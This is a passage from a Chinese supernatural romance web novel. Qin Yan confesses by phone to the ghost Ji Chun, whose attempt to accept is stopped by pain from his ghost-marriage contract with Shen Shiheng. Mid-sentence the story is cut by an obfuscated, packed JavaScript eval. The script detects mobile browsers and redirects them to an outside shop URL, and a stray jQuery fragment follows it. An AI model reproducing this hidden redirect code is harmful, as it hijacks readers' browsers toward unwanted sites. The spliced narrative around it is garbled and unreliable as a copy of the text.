也正因为如此,当看到秦琰发来消息的那一刻,纪纯的心里一惊,怀疑自己是不是碰到了和纪录片里一样的异常情况——


    见鬼了。


    还是说对方察觉到了他想要做些什么,这才发来消息.....


    纪纯的脑海中一时间闪过无数想法,但是先拿起手机察看秦琰发来的消息。


    秦琰的头像是默认头像,除了两人多出来的验证信息之外,又多了一条消息——


    秦琰:【在做什么,现在方便通电话吗?】


    不知道是不是纪纯的错觉,对方的语气透露出几分急迫和小心翼翼,上一次他听到对方这样的语气,似乎还是自己受伤时。


    纪纯已经从有鬼怀疑到了盗号。


    虽然纪纯是鬼,但是平常勤奋上网,还是让他的防诈经验丰富。短暂思索后,他还是决定先回复一下秦琰,看对方之后是否和他借钱。


    在纪纯回复可以打电话后,下一秒,秦琰的电话就已经拨打过来,竟是透露着几分迫不及待。


    纪纯按下了接听键,听筒里传来秦琰熟悉而低沉的嗓音,只是那声音里似乎比平时多了几分难以言喻的紧绷:“纯纪.....”


    “喂?队长?” 纪纯试探性地出声,心里还在盘算着怎么试探对方是不是本人。


    “嗯。” 秦琰应了一声,短暂地停顿了一下。这短暂的沉默在电话里被放大,带着一种莫名的压迫感。纪纯甚至能听到电话那头隐约传来的、属于夜晚的细微风声,以及……秦琰似乎比平时稍显急促的呼吸声:“纯纪,你和路曲名是什么关系?”


    电话两头同时陷入了诡异的寂静。


    纪纯:???


    纪纯并没有从电话另一端感觉到同类的气息,说明那边并不是鬼。要是诈骗电话,似乎也不需要询问这个问题。


    所以对面真的是秦琰?


    对方打电话过来,难道是迟来的户籍调查?


    而就在纪纯大脑飞速运转的时候,一个压低却难掩惊愕的抽气声清晰地透过听筒传了过来,紧接着是孙成苍压得极低、却因为震惊而变调的嗓音:“队长,你怎么直接问出来了?!”


    听到那边传来孙成苍的声音,纪纯也意识到孙成苍正和秦琰一起。


    孙成苍确实被惊到了。


    在看到秦琰联系纯纪后,孙成苍心底的震惊和疑惑就如同雾气般弥漫开来。他想要出声询问对方究竟要做些什么,但是此时秦琰的注意力都落在了面前的手机上,等待着纯纪回复,自然没有心思回复他。


    不过孙成苍很快就知道了秦琰想要做些什么,在拨通电话后,秦琰竟然就这么问出了声。


    按照秦琰的性格,不应该先调查一下纯纪本人和路曲名的关系,或者先旁敲侧击,比如问问纪纯对路曲名的看法、最近和谁走得近之类,然后再综合判断,最后或许才会在某个合适的时机、用某种相对迂回的方式表达心意,怎么这么直接?


    孙成苍的目光落在秦琰的侧脸上。


    昏黄的路灯光线透过稀疏的枝叶,斑驳地洒在秦琰轮廓分明的脸颊上。平日里总是沉静如深潭的眼眸,此刻紧紧盯着手机屏幕,瞳孔深处映着屏幕微弱的光,却清晰地流露出一种孙成苍几乎从来没有在对方脸上看到的情绪。


    那不是面对生死危机时的凝重,也不是制定策略时的专注,而是一种纯粹的、带着不确定性的紧绷。


    孙成苍心头一震,瞬间恍然——


    因为秦琰在无数副本中总是以一副杀伐果断,运筹帷幄的领导者模样出现在众人面前,因而孙成苍差点儿忘记对方在感情的世界,却是个毫无经验的新手。


    而他刚才的话语显然也起了作用,虽然秦琰之前还并不相信路曲名和纯纪之间的关系,但是对方刚才问的第一个问题就是询问纯纪有没有男友。


    不愧是队长,虽然很喜欢对方,但是也会先询问一下对方有没有恋人.....


    孙成苍的听力不错,即使秦琰没有开免提,他也能够听到电话另一端传来的声音:“队长,我和他没有什么关系啊,我之前都不认识他.....”


    孙成苍看到在纯纪的话音落下后,秦琰紧绷的肩膀瞬间几不可查地松弛了下去。


    就像一根拉满的弓弦骤然放松,那股几乎要凝成实质的紧张感如潮水般褪去。秦琰原本紧抿的薄唇,不自觉地向上扬起了一个极其细微的弧度。


    虽然秦琰的笑意很浅,却如同破开厚重云层的晨曦,让本就俊美的面容愈发熠熠生辉,连带着那双总是沉静深邃的眼眸,也漾开了一丝几不可见的柔和波光。


    他整个人仿佛都笼罩在一种骤然轻松下来的、近乎愉悦的氛围里。夜色似乎都无法再侵染他分毫,路灯光落在他身上,都显得格外温煦。


    孙成苍心里忍不住“啧”了一声,对方的情绪变化让他甚至都想为秦琰配一首BGM。他虽然想要提醒秦琰不要相信纯纪的一家之言,毕竟对方最会骗人,但是看秦琰的模样,显然已经什么都听不进去。


    秦琰却并没有察觉到孙成苍看来的视线。


    孙成苍之前几次猜测纯纪和路曲名是恋人关系,还是或多或少给秦琰造成了影响。


    而纯纪的回答让秦琰胸腔里那股因嫉妒而生的滞涩感彻底烟消云散,取而代之的是一种更加清晰、更加滚烫的决心。


    电话另一边的人还在疑惑地追问:“队长?你突然问这个……到底怎么了?”


    秦琰将手机贴近耳边,声线努力保持着冷静:“纯纪,我喜欢你。”


    “和我在一起吧.....”


    虽然秦琰过去的人生信条在告诉着他谨慎行事,


    秦琰的喉结几不可查地滚动了一下,握着手机的指节因为用力而泛白,另一只垂在身侧的手,也无意识地攥成了拳,指节同样捏得发白。


    他甚至没有注意到自己微微屏住了呼吸,仿佛电话那头即将传来的不是一句简单的回答,而是决定命运的宣判。


    *


    秦琰的告白透过电话线,清晰的传入到了纪纯耳边。


    当听到秦琰询问他和路曲名的关系时,纪纯心里一紧。


    他和路曲名当然没有什么关系。


    秦琰突然问出这个问题,难道是察觉到了他最近太过靠近路曲名,看来他以后还是要更加隐蔽的行事.....


    虽然他对路曲名有特殊体质这件事情抱有很大期待,但是毕竟没有得到验证,纪纯并不想和秦琰闹翻,因此还是连忙否认他和路曲名之间的关系。


    不过在他回答后,秦琰却迟迟没有再出声,令纪纯不由得思索是否是自己的话语出了纰漏。


    毕竟秦琰之前就对他有所怀疑,现在不会是重新怀疑上他了吧?


    纪纯一边追问,一边思索着要是秦琰详细追问起来的话,他要怎么回答.....


    而令纪纯没有想到的是,秦琰紧接着会告白。


    对方的告白对于纪纯而言,不亚于惊雷在耳边炸响。


    秦琰竟然喜欢他?!


    他对秦琰是真心或假意并不感兴趣,自然也没有谈恋爱的心思。


    不过纪纯转念一想,意识到要是成为秦琰的恋人,说不定能够和对方多一些身体接触.....


    思及如此,纪纯还是故作惊喜地出声:“我愿.....”


    只是“愿意”二字还没有完全说出口,纪纯的话语一顿。


    这并非因为纪纯突如其来的犹豫,而是因为自灵魂深处传来的震颤,浑身的力气仿佛瞬间被抽空,纪纯差点儿连手机都拿不住。这突如其来的感觉让他猝不及防,意识都出现了短暂的空白。


    还是听到电话另一头传来的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054626|193667||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    孙成苍疑惑的声音,纪纯才回过神来。


    直觉告诉他,要是再继续说下去,他的灵魂将会受到可怕的惩罚。


    这究竟怎么一回事......


    纪纯蹙眉,连忙话锋一转:“队长,我想一想,之后再给你答复好吗?”


    情况特殊,纪纯甚至都没有来得及等秦琰回复,连忙挂断了电话。


    在他改口后,虽然那好似灵魂震颤般的感觉消失了,但是力气依然被一瞬间抽空,纪纯跌坐在地上。


    纪纯本来就是鬼,再加上地上铺着厚重的地毯,因此他并没有感觉到疼痛。


    他原本想要爬回到床上,但是试了试发现实在没有力气,干脆躺在地上,一边等着力气恢复,一边心里思索着究竟是怎么一回事。


    短暂的思索后,纪纯已经有了眉目。


    灵魂震颤的感觉像是违背了某种规则或契约,而一直到现在为止,纪纯也只和一个人有过约定。


    沈时珩。


    他想起了自己和沈时珩的阴亲契约——


    他只能有沈时珩一个人,对方也只能有他一个鬼。


    难道是因为这个原因,所以他答应秦琰,才被认为是违背了自己和沈时珩的阴亲。


    但是秦琰明明询问的是他的假名纯纪,竟然也算是触犯规则......


    意识到无法钻文字漏洞后,纪纯蹙眉思索。


    而就在这时,房门被无声地推开一道缝隙,沈时珩的身影出现在了房间门口。


    他刚从外面回来,身上还带着一丝夜晚微凉的薄寒气息。他没有立即出声,深邃的目光落在房间中央的地毯上。


    纪纯正半躺在柔软厚重的地毯上,像是被抽去了所有力气,又像是短暂地失去了支撑。乌黑柔软的发丝有些凌乱地散落在额前和颈侧,衬得那张本就精致得过分的脸愈发苍白,透出一种易碎的美感。


    他的眼睫低垂着,在眼下投下一小片淡淡的阴影,遮住了眸中翻涌的情绪,只留下紧蹙的眉心,泄露着主人的困惑与烦躁。


    纪纯在回到家后,已经习惯性的脱去外套,身上穿着宽松的丝绸家居服,因为刚才的跌坐和挣扎,领口微微敞开了一小片,露出一截线条优美的锁骨和一片白皙细腻的肌肤。地毯的暖色调与他周身的冷白形成鲜明对比,光影交错间,勾勒出他纤细却并不显得孱弱的腰身轮廓。


    他就那样随意地、毫无防备地躺在那儿,像一只暂时收起爪牙、陷入迷茫的猫科动物,又像是一幅被精心绘制的、带着颓废美感的静物画。


    房间里只开了一盏暖黄的壁灯,光线柔和地笼罩着他,将纪纯整个人都染上了一层朦胧而暧昧的光晕。


    沈时珩的视线在他身上停留了片刻,从凌乱的发梢,到紧蹙的眉心,再到微微敞开的领口,最后落在他无力搭在地毯上的、骨节分明的手上。那手指微微蜷曲,指尖还泛着一点用力过后的淡粉色。


    意识到纪纯似乎并非主动躺在地毯上后,沈时珩快步朝着纪纯的方向走了过来:“怎么了?”


    纪纯:“累了,躺在地上不想动,休息一会儿……”


    他看着毫无所觉的沈时珩,意识到那是对自己的单向惩罚,沈时珩那边什么都感觉不到。


    纪纯悄悄在心里松了一口气,毕竟他也并不想被沈时珩知道这件事情。


    而沈时珩已经伸出手抱起了纪纯。


    纪纯的身体骤然腾空,不过他浑身脱力,连手指都难以抬起,任由自己陷入沈时珩坚实而微凉的怀抱。他的侧脸贴着沈时珩的胸膛,隔着薄薄的衣料,能清晰地感受到对方沉稳的心跳和透过来的体温,那是一种与他自己截然不同的、属于活物的温度和律动。


    不过纪纯感觉到沈时珩的视线一顿。


    他顺着沈时珩的视线看去,就看到自己掉落在地上的手机屏幕亮了。